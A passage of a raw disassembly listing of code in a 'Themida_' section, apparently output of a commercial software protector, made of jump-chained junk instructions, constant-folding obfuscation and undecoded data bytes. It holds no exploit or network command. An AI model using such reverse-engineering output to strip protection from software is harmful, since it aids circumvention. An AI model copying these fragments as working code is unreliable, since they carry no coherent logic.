CODE XREF: Themida_:0054ED62j pop ebx push dword ptr [esp] pop edx push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_552047 ; --------------------------------------------------------------------------- loc_54744A: ; CODE XREF: Themida_:0054BEE1j mov edx, 51736D5Fh add edx, 0FFFFFFFFh push ebp jmp loc_549358 ; --------------------------------------------------------------------------- loc_547458: ; CODE XREF: Themida_:00548DE5j push ecx jmp loc_550311 ; --------------------------------------------------------------------------- loc_54745E: ; CODE XREF: Themida_:005520BAj pop ebx add esp, 4 and ecx, edx pop edx shr ecx, 0Ah push edi mov edi, esp jmp loc_54840F ; --------------------------------------------------------------------------- loc_547470: ; CODE XREF: Themida_:0054A69Aj sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_54A941 ; --------------------------------------------------------------------------- dw 1BEh dd 4632836Bh, 2E6C14Eh, 0AC06F681h, 0E5E9CA0Dh db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547497: ; CODE XREF: Themida_:00547357j mov [esp], edi jmp loc_54E763 ; --------------------------------------------------------------------------- byte_54749F db 66h ; DATA XREF: Themida_:00546248o dd 5224048Bh, 24148B54h, 4C481h, 0C2810000h, 4, 3ABF5755h dd 0E9343633h, 0A8C0h, 0A068E905h, 0AE5BE94Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5474CA: ; CODE XREF: Themida_:00550CB4j sub esi, 67F03082h add esi, 26642B84h sub esi, 0C2740302h add edi, esi pop esi add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_54A8AE ; --------------------------------------------------------------------------- loc_5474F0: ; CODE XREF: Themida_:0055209Cj mov [esp], edi push ebp mov ebp, 7671252Fh shr ebp, 1 xor ebp, 4ABDD413h push ebp pop edi pop ebp xor edi, 496805B2h shr edi, 5 add edi, 1 push 6A9h mov [esp], ecx mov ecx, 4B137470h neg ecx or ecx, 66623B8Ch and ecx, 549C6C47h sub ecx, 5344BDEAh xor edi, ecx pop ecx and eax, edi pop edi or eax, eax jmp loc_54FB9B ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0BF570000h, 3EEB68EEh, 39FCBB53h, 0DF0175FBh dd 1C7815Bh, 0C1000000h, 0CF8102E7h, 9B2C2Ah, 1FB9514Fh dd 0F7048479h, 0D2C981D9h, 0C1286173h, 0D9F708E1h, 5D55F181h dd 56E9A86Ch db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547583: ; CODE XREF: Themida_:00551925j shl bl, 6 xor bl, 5 jmp loc_5526B5 ; --------------------------------------------------------------------------- dw 0E281h dd 40843CBEh, 4857E281h, 81423B7Bh, 0F2C8AFC2h, 0E9D001D0h dd 2CC5h, 0E905E0C1h, 0FFFFF141h, 0C581E589h, 4, 4C581h dd 2C870000h, 68535C24h, 2DD0h, 0E9242489h, 9AF3h, 83242C8Bh dd 0FEE904C4h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5475DB: ; CODE XREF: Themida_:0054792Cj or eax, eax jnz loc_55086A push ecx push ebx mov ebx, 46756ED8h mov ecx, 5A566B84h xor ecx, ebx jmp loc_54A4AA ; --------------------------------------------------------------------------- loc_5475F6: ; CODE XREF: Themida_:0054CE89j mov eax, 6C9266B3h xor eax, 229527F2h sub eax, 6C454801h sub eax, 0FFFFFFFFh xor eax, 0B4F6A455h mov [edx+30h], eax mov eax, [esp] add esp, 4 sub [edx+30h], ebp pop ebp popa popf jmp locret_54C405 ; --------------------------------------------------------------------------- db 66h dd 0E9D8005Bh, 7F99h, 0BF57CB01h, 762226DFh, 595FFB29h dd 5BCA68h, 0BB2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547642: ; CODE XREF: Themida_:005467D4j or esi, 6C365CA8h shr esi, 4 push ebx mov ebx, 279C5D38h or ebx, 19120F16h neg ebx sub ebx, 57807000h add ebx, 4A3E0573h push 3D97h mov [esp], ebp push edi mov edi, 278C2726h mov ebp, edi pop edi sub ebp, 0B521BE50h xor ebx, ebp pop ebp add ebx, 93310AFCh xor esi, ebx pop ebx sub esi, 0FD3DC11Ch push esi sub dword ptr [esp], 49C52032h pop ebp push eax jmp loc_54CE6F ; --------------------------------------------------------------------------- db 0E9h, 49h, 0EEh dd 0EA80FFFFh, 0BBC28002h, 0A8A1E9h db 0 ; --------------------------------------------------------------------------- loc_5476AD: ; CODE XREF: Themida_:0055051Cj xchg edx, [esp] pop esp shr eax, 0Eh xor eax, ecx jmp loc_54CC49 ; --------------------------------------------------------------------------- loc_5476BB: ; CODE XREF: Themida_:00549C8Bj pop esp jmp loc_54A32B ; --------------------------------------------------------------------------- loc_5476C1: ; CODE XREF: Themida_:005526B8j mov al, bl pop ebx jmp loc_54F426 ; --------------------------------------------------------------------------- byte_5476C9 db 68h, 0C8h, 7 ; DATA XREF: Themida_:005462FCo dd 14890000h, 1F63E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5476D6: ; CODE XREF: Themida_:005466B0j mov eax, [esp] add esp, 4 sub ecx, 971A4B01h jmp loc_54A72A ; --------------------------------------------------------------------------- loc_5476EA: ; CODE XREF: Themida_:0054DD54j push 3034h mov [esp], edx xor dword ptr [esp], 51926EC5h pop esi xor esi, 51926EC5h pop edx and ebx, esi jmp loc_5510CF ; --------------------------------------------------------------------------- dword_547708 dd 24048B66h, 44B3E9h ; DATA XREF: Themida_:00546488o db 0 ; --------------------------------------------------------------------------- loc_547711: ; CODE XREF: Themida_:005495DBj add eax, 3CF3208Fh pop edx shl eax, cl sub esp, 4 mov [esp], ebx mov ebx, 1 push ebp mov ebp, 55B119D4h jmp loc_54AD05 ; --------------------------------------------------------------------------- db 81h dd 1B7B48C2h, 9BC28104h, 5E5B4F68h, 0FFEDAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_547741: ; CODE XREF: Themida_:0054B515j xor dword ptr [esp], 440B4130h jmp loc_54B330 ; --------------------------------------------------------------------------- loc_54774D: ; CODE XREF: Themida_:00547E97j push 3395h jmp loc_54A888 ; --------------------------------------------------------------------------- db 68h dd 21F203D3h, 8124348Bh, 4C4h, 8DC68100h, 5716057Bh, 2C781BBFh dd 474F4760h, 0AADCE9h db 0 ; --------------------------------------------------------------------------- loc_547779: ; CODE XREF: Themida_:0054861Bj shr ecx, 2 dec ecx dec ecx not ecx shr ecx, 8 or ecx, 11A13044h jmp loc_54DAA4 ; --------------------------------------------------------------------------- loc_54778E: ; CODE XREF: Themida_:00549629j mov [esp], edx mov edx, 4 sub ecx, edx pop edx jmp loc_548E1F ; --------------------------------------------------------------------------- aSSasd db 'SЁХ─И╓',0 db 0D9h, 0E9h, 0E2h dd 81000001h, 6B5492F1h, 25F1E9C7h, 0C8000000h, 8B667F2Ch dd 0D6E9240Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5477C3: ; CODE XREF: Themida_:0054E3DAj pop edi add esi, 4 jmp loc_54FBC4 ; --------------------------------------------------------------------------- dd 0F3798705h, 617B2D6Ah, 0BB532CA1h, 7BFB2E15h, 0F409E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5477E2: ; CODE XREF: Themida_:0054B8BFj sub edi, 12265E7Fh sub esi, edi pop edi xchg esi, [esp] mov esp, [esp] mov [esp], esi jmp loc_55091D ; --------------------------------------------------------------------------- dd offset dword_438768 align 2 dw 1489h dd 4BA24h, 0BF570000h, 176C7B58h, 67E9D7F7h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547813: ; CODE XREF: Themida_:0054CEE6j push edi jmp loc_54B3EF ; --------------------------------------------------------------------------- db 58h, 83h, 0C7h dd 243C8702h, 13D0E9h, 84B75300h, 1C8BF888h, 4C48124h dd 24000000h, 9810E95Fh, 815F0000h, 531DF2F3h, 5BDA0120h dd 480CE957h, 0EC830000h, 0A87BE904h, 94E90000h, 29FFFFECh dd 0F55AE9E8h, 0E950FFFFh, 397Ch, 0AA784305h, 241C8B6Ah dd 504C483h, 7A707A16h, 1E8168h, 5472E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54787E: ; CODE XREF: Themida_:005499F9j xor eax, 7EB73B6Bh jmp loc_54D132 ; --------------------------------------------------------------------------- dd 8904EC83h, 0ACE92434h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_547893: ; CODE XREF: Themida_:0054D029j or edx, eax shl edx, 1 push ebp mov ebp, 0B950A68h sub ebp, 0FFFFFFFFh jmp loc_549D24 ; --------------------------------------------------------------------------- loc_5478A5: ; CODE XREF: Themida_:00549FE8j sub ebx, 21051E55h jmp loc_54C4E2 ; --------------------------------------------------------------------------- dword_5478B0 dd 0E924148Bh, 7EA3h, 0CEF28059h, 613E9h, 240C8700h, 5524248Bh ; DATA XREF: Themida_:005463D4o dd 6026D1BDh, 8BEB294Fh, 8956242Ch, 4C681E6h, 0E9000000h dd 44F4h, 0BA52E689h, 4, 9EE9D601h, 28000040h, 4EC81D0h dd 89000000h, 0C5B1240Ch, 5A59C800h, 0FFF934E9h db 0FFh byte_547905 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005463E4o dd 1F18E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54790E: ; CODE XREF: Themida_:0054D6A6j inc edi dec edi add edi, 6D0B3FA1h mov eax, edi pop edi sub eax, 0B4D400Eh jmp loc_547D8B ; --------------------------------------------------------------------------- loc_547923: ; CODE XREF: Themida_:0054A326j add esi, 0FC4EE9B9h and eax, esi pop esi jmp loc_5475DB ; --------------------------------------------------------------------------- db 56h, 0BEh, 5Ch dd 81180F73h, 5A7E16C2h, 81F22941h, 5A7E16EAh, 753EE941h dd 0CEB90000h, 31213A56h, 2434FFF1h, 4C4815Eh, 53000000h dd 5843E9h, 4BE00h, 0C3810000h, 3C09626Ah, 0EB81F329h dd 3C09626Ah, 4EC815Eh, 89000000h, 74FF241Ch, 34FF0424h dd 241C8B24h, 71A0E9h, 0A4C18000h, 0AB5E9h, 0C5815D00h dd 4, 2BB53h, 0DD010000h, 2511E9h, 0E1885100h, 0DBE9CA88h dd 88000013h, 48B59CBh, 4C48324h, 6A68D3F6h, 8900001Fh dd 88502414h, 58E688DCh, 5061E953h, 0C6810000h, 0A006C8Fh dd 64B2C681h, 0F10999D3h, 0F2E9815Eh, 0E913D74Fh, 79F3h dd 31241433h, 14332414h, 0E8EE924h, 0B60F0000h, 6764E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547A02: ; CODE XREF: Themida_:0054802Bj pop eax push ebx not dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_54EFE4 ; --------------------------------------------------------------------------- dw 0DEB9h dd 319DD3F3h, 0DE8959CBh, 0AA4BE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547A22: ; CODE XREF: Themida_:0054A5F3j push eax mov eax, 4 mov ebx, eax jmp loc_549BE5 ; --------------------------------------------------------------------------- loc_547A2F: ; CODE XREF: Themida_:0054B988j and edi, 1CE154D1h add edi, 8046355h sub esi, edi pop edi jmp loc_54CB5E ; --------------------------------------------------------------------------- loc_547A43: ; CODE XREF: Themida_:00546753j rep movsd jmp loc_549B3F ; --------------------------------------------------------------------------- dw 0C268h dd 5D7F2D71h, 32E1C581h, 74E96A16h, 10000A3h, 70E95BD8h dd 89000049h, 98BB241Ch, 0E9502757h, 7ED5h, 33243C31h dd 6EE9243Ch db 0ABh, 2 dup(0) byte_547A7B db 0FFh ; DATA XREF: Themida_:005463ACo dd 589D1C77h, 9C240411h, 0FFEA62E9h db 0FFh ; --------------------------------------------------------------------------- loc_547A89: ; CODE XREF: Themida_:0054B953j mov eax, 64C82C65h jmp loc_54A5F8 ; --------------------------------------------------------------------------- loc_547A93: ; CODE XREF: Themida_:0054BCEDj pop esi push ecx jmp loc_549E93 ; --------------------------------------------------------------------------- dw 0EA81h dd 36EF777Dh, 0FFBD555Fh, 29FFFFFFh, 0EA815DEAh, 9C3552Eh dd 0AD5E9h, 6C77B800h, 442970E4h, 81580424h, 23E22404h dd 4297421h, 242C8124h, 742123E2h, 77240481h, 6870E46Ch dd 3949h, 56241489h, 181248BEh, 1FEE8152h, 8102083Ch, 6829FEEEh dd 0FFC6832Fh, 9B0AE9h db 0 ; --------------------------------------------------------------------------- loc_547AF9: ; CODE XREF: Themida_:0054B148j xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], esi mov esi, 4 add ecx, esi jmp loc_549625 ; --------------------------------------------------------------------------- dw 248Bh dd 68F1F724h, 1253h, 54241C89h, 81241C8Bh, 4C4h, 4C38100h dd 56000000h, 0FFFE24E9h, 0B7E95EFFh, 0F6000029h, 59E888D5h dd 5866C588h, 0E925ED80h, 4EEFh, 0E9240C8Bh, 1997h, 4CEE8166h dd 85D3E91Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_547B66: ; CODE XREF: Themida_:00549634j mov ecx, 4D05171Fh add ebp, ecx pop ecx xor ebp, 93F24D45h and eax, ebp mov ebp, [esp] jmp loc_551C5F ; --------------------------------------------------------------------------- dw 0C329h dd 5BD88958h, 616BE56h, 0F001226Ah, 0CA3E95Eh, 4810000h dd 424h, 0B9515D00h, 48ED2BAAh, 2BAEF181h, 0CD0148EDh dd 2C58159h, 55000000h, 6E07E9h, 0E3BB5300h, 43665932h dd 0D3F7D3F7h, 75D8F381h, 0C3814735h, 23EFE968h, 815BDF89h dd 0EC4D7AF7h, 255EE957h, 0C6810000h, 4, 8704EE83h, 895C2434h dd 0B9512434h, 6DD57056h, 7DE9D1F7h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547BF7: ; CODE XREF: Themida_:0054B110j push eax dec dword ptr [esp] mov eax, [esp] add esp, 4 not eax add eax, 9FC71E2Fh jmp loc_548EB1 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0B5E95B04h, 0E9000086h, 0FFFFE8CFh dword_547C1C dd 57E68956h, 4BFh, 0E9FE0100h, 10D3h, 23B6E68h, 0BD555860h ; DATA XREF: Themida_:0054625Co dd 393ACE90h, 0E95DE829h, 0FFFFF35Dh ; --------------------------------------------------------------------------- loc_547C40: ; CODE XREF: Themida_:00547DA0j xchg edx, [edi+24h] loc_547C43: ; CODE XREF: Themida_:0054A62Dj push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ebx mov eax, [esp] jmp loc_548A80 ; --------------------------------------------------------------------------- db 59h dd 1F60E9h, 764DBE00h, 0F6814FCDh, 581F16D2h, 5206EEC1h dd 376CAFBAh, 69CA814Ah, 81036547h, 0D71F6AEAh, 6EAC113h dd 0CCDCC281h, 0D60118F6h, 989CE9h, 4C78100h, 87000000h dd 32E9243Ch db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_547CAB: ; CODE XREF: Themida_:0054EEC0j push 4869h mov [esp], edi mov edi, 7B0555BCh inc edi shr edi, 7 inc edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, 795F3379h not ebx xor ebx, 25E24E5Fh jmp loc_5517EC ; --------------------------------------------------------------------------- dw 2868h dd 89000018h, 0ECE9241Ch, 0E9000012h, 0FFFFE7F7h, 4C481h dd 34FF0000h, 0C4815924h, 4, 0FFE7E2E9h, 28BE04FFh, 5BBE2CD8h dd 8F45E9h, 4C18100h, 83000000h, 0C8704C1h, 22E95C24h dd 100002Bh, 10F9E9FAh, 0E9810000h, 0DB9DBC4h, 2437E9h db 0 byte_547D39 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546264o dd 0E6895624h, 4EC81h, 3C890000h, 593BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547D4E: ; CODE XREF: Themida_:00551E55j mov esi, esp add esi, 4 push edx mov edx, 10EC1544h inc edx dec edx sub edx, 10EC1540h add esi, 3DF16A68h jmp loc_54F842 ; --------------------------------------------------------------------------- aUs0 db 'UИв0',0 db 0 ; --------------------------------------------------------------------------- loc_547D75: ; CODE XREF: Themida_:00546815j pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_54EA83 ; --------------------------------------------------------------------------- loc_547D8B: ; CODE XREF: Themida_:0054791Ej xor eax, 7315574Fh sub eax, 1 xor eax, 10AAA8F1h add eax, edi xor [eax], edx pop eax inc edx jmp loc_547C40 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 3C330000h, 243C3124h, 8B243C33h, 0D3662424h dd 0E99C2404h, 0FFFFE727h dword_547DC4 dd 582434FFh, 56F68h, 736BE900h ; DATA XREF: Themida_:005462B0o db 2 dup(0) ; --------------------------------------------------------------------------- loc_547DD2: ; CODE XREF: Themida_:0054ED28j pop edx xor bh, al pop eax sub dl, bh push dword ptr [esp] pop ebx add esp, 4 push ebx mov bh, 3Bh inc bh neg bh shl bh, 8 add bh, 30h sub al, bh pop ebx sub al, dl add al, 30h pop edx push 2675h mov [esp], ecx mov cl, 7Fh shr cl, 5 shr cl, 1 push bx push 3F5Ch mov [esp], eax jmp loc_551A49 ; --------------------------------------------------------------------------- loc_547E12: ; CODE XREF: Themida_:005466A9j push 38922AD1h pop eax jmp loc_546880 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 0C1h dd 0CE8107EEh, 754E0812h, 0E6C1DEF7h, 4CEE8104h, 0E9A20D40h dd 6CC4h, 0A807E955h, 0C6810000h, 4, 0E904C683h, 81DCh aN1Sscr db '╜1ьSИ√R',0 ; DATA XREF: Themida_:00546458o dd 4C68100h, 0E9000000h, 6519h, 7CE9EA00h, 1000055h, 7EBF57C8h dd 2D17D22Ah, 4CC030FFh, 3EABE9h, 5AD52900h, 4635E9h db 0 ; --------------------------------------------------------------------------- loc_547E81: ; CODE XREF: Themida_:0054AA46j xor edi, 7CFF7E7Dh and eax, edi mov edi, [esp] add esp, 4 shr eax, 8 xor eax, ecx jmp loc_54774D ; --------------------------------------------------------------------------- dd 24343359h, 33243431h, 5E92434h, 100005Fh, 0BE565AD1h dd 4, 875EF101h, 248B240Ch, 2434FF24h, 8324148Bh, 895604C4h dd 33B951E6h, 0E928F259h, 3CBBh, 8861F280h, 26E95AD0h dd 1FFFFF1h, 0C2835DEAh, 24148704h, 0E5FDE95Ch, 0F659FFFFh dd 80CAFED2h, 19B776C2h, 2AE9D728h, 8B000074h, 0C481240Ch dd 4, 4C181h, 0C1810000h, 4, 0E9240C33h, 66B7h, 46DEF75Fh dd 0EF20E946h, 0F766FFFFh, 0EA8166DAh, 8966F6B0h, 46665AD6h dd 1FEE8166h, 460BE9B3h, 0C8B0000h, 8B03E924h, 68570000h dd 7D3403BBh, 93BB535Fh, 317D3403h, 0F8895BDFh, 2824E9h dd 8BD03100h, 0C4832414h, 0D1C38104h, 814F6026h, 0AF711CC3h dd 8FEB8160h, 0E90DA96Fh, 774Ch, 5D59CA31h, 88D5BD55h dd 0EA81FB11h, 6A5E2ED1h, 19A4E9h, 24348B00h, 8F04C483h dd 248B2404h, 4979E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547FA2: ; CODE XREF: Themida_:00549B47j mov [esp], eax push 5F39h jmp loc_548A95 ; --------------------------------------------------------------------------- db 0FEh dd 35CB80C3h, 3008EB80h, 0ED805BDDh, 0E9D5F601h, 1873h dd 67C8B951h, 0ADE91B93h, 31FFFFFFh, 97E9240Ch, 57000008h dd 0A84E3EBFh, 7EFABE22h, 0FE3104A3h, 0FFFF33E9h, 35B753FFh dd 20E9CFFEh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547FF3: ; CODE XREF: Themida_:00551698j push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push ebx mov ebx, 0ABB7889h shl ebx, 2 push 46B7h mov [esp], eax push esi mov esi, 2B3431A2h mov eax, 4E732C22h add eax, esi mov esi, [esp] add esp, 4 and ebx, eax jmp loc_547A02 ; --------------------------------------------------------------------------- loc_548030: ; CODE XREF: Themida_:0054E535j pop esi mov ecx, edi push dword ptr [esp] pop edi add esp, 4 and eax, ecx mov ecx, [esp] jmp loc_54B6E7 ; --------------------------------------------------------------------------- db 81h dd 9D0E7BEBh, 61BA522Ah, 0E9400E02h, 348Bh ; --------------------------------------------------------------------------- loc_548058: ; CODE XREF: Themida_:0054851Dj xor eax, 5C9F68A8h xor eax, 4AA7152Eh jmp loc_54EA38 ; --------------------------------------------------------------------------- loc_548067: ; CODE XREF: Themida_:0054AAB9j mov ecx, 0D4447BEh xor [esp+4], ecx pop ecx push dword ptr [esp] pop eax push edi jmp loc_54F045 ; --------------------------------------------------------------------------- db 83h dd 3E6804C4h, 8900007Ah, 8B542434h, 0C4832434h, 8208E904h dd 66530000h, 6639C568h, 0EBC1665Bh, 0EB816606h, 8966BC77h dd 0C1665BDEh, 0EC8102EEh, 4, 66240489h, 571CE1B8h, 44A3BF66h dd 52EF8166h, 0EF816658h, 3166B2C3h, 66515FF8h, 6635A9B9h dd 302EF181h, 82BCE9h, 0F8E95600h, 2DFFFFFEh, 6AAA7843h dd 79E9D801h, 53FFFFF7h, 0D82F01BBh, 45E9524Eh, 8700006Bh dd 0E92404h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5480FF: ; CODE XREF: Themida_:00549818j mov edx, ecx mov ebp, edx jmp loc_54C08F ; --------------------------------------------------------------------------- aPXXse8 db 'P╟X фXИE8',0 dw 100h dd 48B5DEBh, 0E0895024h, 405h, 4A1BE900h, 0F5800000h, 3AB353A2h dd 0BCF380h, 9D24E9DDh, 0C5890000h, 3CE95658h, 68000032h dd 3E2Ah, 24048F54h, 4240481h, 8B000000h, 5D68241Ch, 89000012h dd 0E189240Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 4BD55h dd 13E90000h, 8B00004Ch, 0C6012424h, 3AF5E9h, 0E0C14800h dd 1C08307h, 0BD55D8F7h, 0BA30549Ch, 295DE831h, 555A58C6h dd 2BDh, 5DEE0100h, 8B243487h, 24D32424h, 0C0E99C24h, 81000044h dd 2E72BFE5h, 0FBED814Eh, 1C647A4h, 0CB895DE9h, 0FFFD79E9h db 0FFh ; --------------------------------------------------------------------------- loc_5481C5: ; CODE XREF: Themida_:00551021j push dword ptr [ebx] push dword ptr [esp] jmp loc_550F1F ; --------------------------------------------------------------------------- db 0B6h dd 51506687h, 57E973B5h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5481DB: ; CODE XREF: Themida_:0054CA6Dj pop eax mov eax, ebp jmp loc_54B174 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 4EC8104h, 0E9000000h, 23ACh, 0BF243C89h dd 4, 875FFB29h, 92E9241Ch, 8B00004Fh, 0E9572404h, 0FFFFEC55h dd 241C335Ch, 33241C31h, 3DE9241Ch db 0F1h, 2 dup(0FFh) byte_54821F db 0FFh ; DATA XREF: Themida_:0054646Co dd 0C8B2434h, 4C48324h, 8023E9h, 6AE95600h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548233: ; CODE XREF: Themida_:0054B8D0j mov ebp, 60AC6201h dec ebp and ebp, 319E7BDBh add ebp, 0FB24827Eh xor ebx, ebp pop ebp add eax, ebx pop ebx push esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], edx mov edx, 6F8962FDh shr edx, 6 xor edx, 164B7F25h push ebp jmp loc_5504F1 ; --------------------------------------------------------------------------- aIHvx db '┴<$h┌x',0 dd 24248900h, 4240481h, 5F000000h, 4B951h, 0CF010000h dd 51240C8Bh, 0C181E189h, 4, 4BB53h, 0D9010000h, 240C875Bh dd 796AE9h db 0 ; --------------------------------------------------------------------------- loc_5482B1: ; CODE XREF: Themida_:0054F00Ej push eax jmp loc_5511BB ; --------------------------------------------------------------------------- db 5Ch dd 4C481h, 0C6810000h, 4, 5602C683h, 42474FFh, 0FFFCC0E9h db 0FFh byte_5482D1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005463C0o aHb db '$h│\',0 align 2 aISzc db '┴,$И┤C',0 align 2 dw 0BB53h dd 647B6860h, 8103EBC1h, 0FC4846E3h, 5F686865h, 3C890000h dd 0DCFBF24h, 0EFD13242h, 3A89C781h, 28E9451Ah, 66000009h dd 5468665Bh, 1489662Eh, 0E9535024h, 309Bh ; --------------------------------------------------------------------------- loc_54831C: ; CODE XREF: Themida_:0054F670j shl ebx, 5 shl ebx, 2 push 4B85h mov [esp], ebp push edi push 669C2CA0h pop edi not edi shl edi, 5 shr edi, 1 add edi, 0F18BF99Fh jmp loc_5513B1 ; --------------------------------------------------------------------------- loc_548343: ; CODE XREF: Themida_:0054D12Dj shr eax, 0Ch xor eax, ecx push 262h mov [esp], eax push 4C97h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54E83E ; --------------------------------------------------------------------------- db 0BEh, 0D4h, 59h dd 4FE90FBBh, 83FFFFE2h, 0C38104C4h, 4, 4C381h, 1C870000h dd 4581E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548386: ; CODE XREF: Themida_:00550115j xor eax, ebp pop ebp push ebp jmp loc_54F978 ; --------------------------------------------------------------------------- byte_54838F db 66h ; DATA XREF: Themida_:00546228o dd 68240C8Bh, 768Bh, 0E9241C89h, 3D42h ; --------------------------------------------------------------------------- loc_5483A0: ; CODE XREF: Themida_:0054F453j mov ebx, 390E1A47h xchg edx, ebx not edx xchg edx, ebx inc ebx push edi mov edi, 1 sub ebx, 50D4335Ah add ebx, edi add ebx, 50D4335Ah pop edi jmp loc_549A5B ; --------------------------------------------------------------------------- dw 0BD55h dd 48230B8Ah, 0CB5F862Dh, 0E9E82901h, 22E1h ; --------------------------------------------------------------------------- loc_5483D8: ; CODE XREF: Themida_:0054AB59j push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_54BAEB ; --------------------------------------------------------------------------- dd 2B8h, 58C70100h, 0E9243C87h, 3D6Dh ; --------------------------------------------------------------------------- loc_5483FC: ; CODE XREF: Themida_:0054EE62j pop ebp jmp loc_546CD8 ; --------------------------------------------------------------------------- loc_548402: ; CODE XREF: Themida_:0054AEB2j xor ebp, 7EA9CA10h push ebp pop esi jmp loc_54B817 ; --------------------------------------------------------------------------- loc_54840F: ; CODE XREF: Themida_:0054746Bj add edi, 4 jmp loc_54AEEE ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 2BEh, 0F4E95100h, 56000002h, 982928BEh, 5EF0015Ch dd 282DC801h, 595C9829h, 0C1C68h, 240C8900h, 639FE957h dd 525B0000h, 490EE9h, 7DB22D00h, 0D0296B71h, 717DB205h dd 0D8295A6Bh, 942AE9h, 0ECE95000h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54846B: ; CODE XREF: Themida_:0054DF49j push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp jmp loc_54CB6F ; --------------------------------------------------------------------------- dd 0B3B85053h, 0C1183C32h, 0E8C103E8h, 3E8C104h, 964A490Dh dd 49230555h, 0C8E96706h, 50000069h, 73C2E9h db 0 ; --------------------------------------------------------------------------- loc_5484A5: ; CODE XREF: Themida_:0054D634j push dword ptr [esp] pop eax push 7BA3h jmp loc_551646 ; --------------------------------------------------------------------------- aNvsR db '╜VИ\R',0 ; DATA XREF: Themida_:0054639Co align 2 loc_5484BA: ; CODE XREF: Themida_:0054952Dj add eax, edx mov edx, [esp] add esp, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [edi+eax*4] mov eax, [esp] push ecx sub esp, 4 push esp jmp loc_54F458 ; --------------------------------------------------------------------------- loc_5484DE: ; CODE XREF: Themida_:0054A490j add esp, 2 neg cl and cl, 63h push ebx mov bl, 74h add bl, 79h jmp loc_550CB9 ; --------------------------------------------------------------------------- db 68h, 31h, 6Ah dd 14890000h, 1BB45024h, 0E904E4C0h, 79h ; --------------------------------------------------------------------------- loc_548504: ; CODE XREF: Themida_:0054DAB2j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push eax mov eax, 606342E1h shr eax, 2 jmp loc_548058 ; --------------------------------------------------------------------------- word_548522 dw 2C31h ; DATA XREF: Themida_:00546210o dd 242C3324h, 2613E9h, 242CD300h, 0DFB5E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548536: ; CODE XREF: Themida_:00549EFFj mov [esp], eax mov eax, esp jmp loc_54F20D ; --------------------------------------------------------------------------- dd 53242489h, 4BBh, 245C0100h, 348B5B04h, 4C48324h, 0FFF8DFE9h dd 243C87FFh, 0FFEB15E9h, 2434FFFFh, 5324048Bh, 0EC81E389h dd 4, 0BD242C89h, 0C302DEBh, 0FFE4CBE9h, 80CCFEFFh, 0F48085CCh dd 91CEE963h, 0C2810000h, 0FC20332Dh, 295AD789h, 0EEEE9FBh dd 58660000h, 9044E9h db 0 ; --------------------------------------------------------------------------- loc_5485A1: ; CODE XREF: Themida_:0054B073j add ebp, 235B56FBh sub ebp, eax sub ebp, 235B56FBh jmp loc_54F44E ; --------------------------------------------------------------------------- dd 0CCB60F66h, 36196866h, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFFDF1Fh, 4BD55h, 8E90000h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5485D7: ; CODE XREF: Themida_:0054B8A7j or ecx, ebx jmp loc_54B39A ; --------------------------------------------------------------------------- dw 8159h dd 4C1h, 4E98300h, 5C240C87h, 9C43E9h, 0F2875900h, 0F287DEF7h dd 4208EAC1h, 0C283E2D1h, 0A1EA81FFh, 101CC5Bh, 2FE95AD5h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- 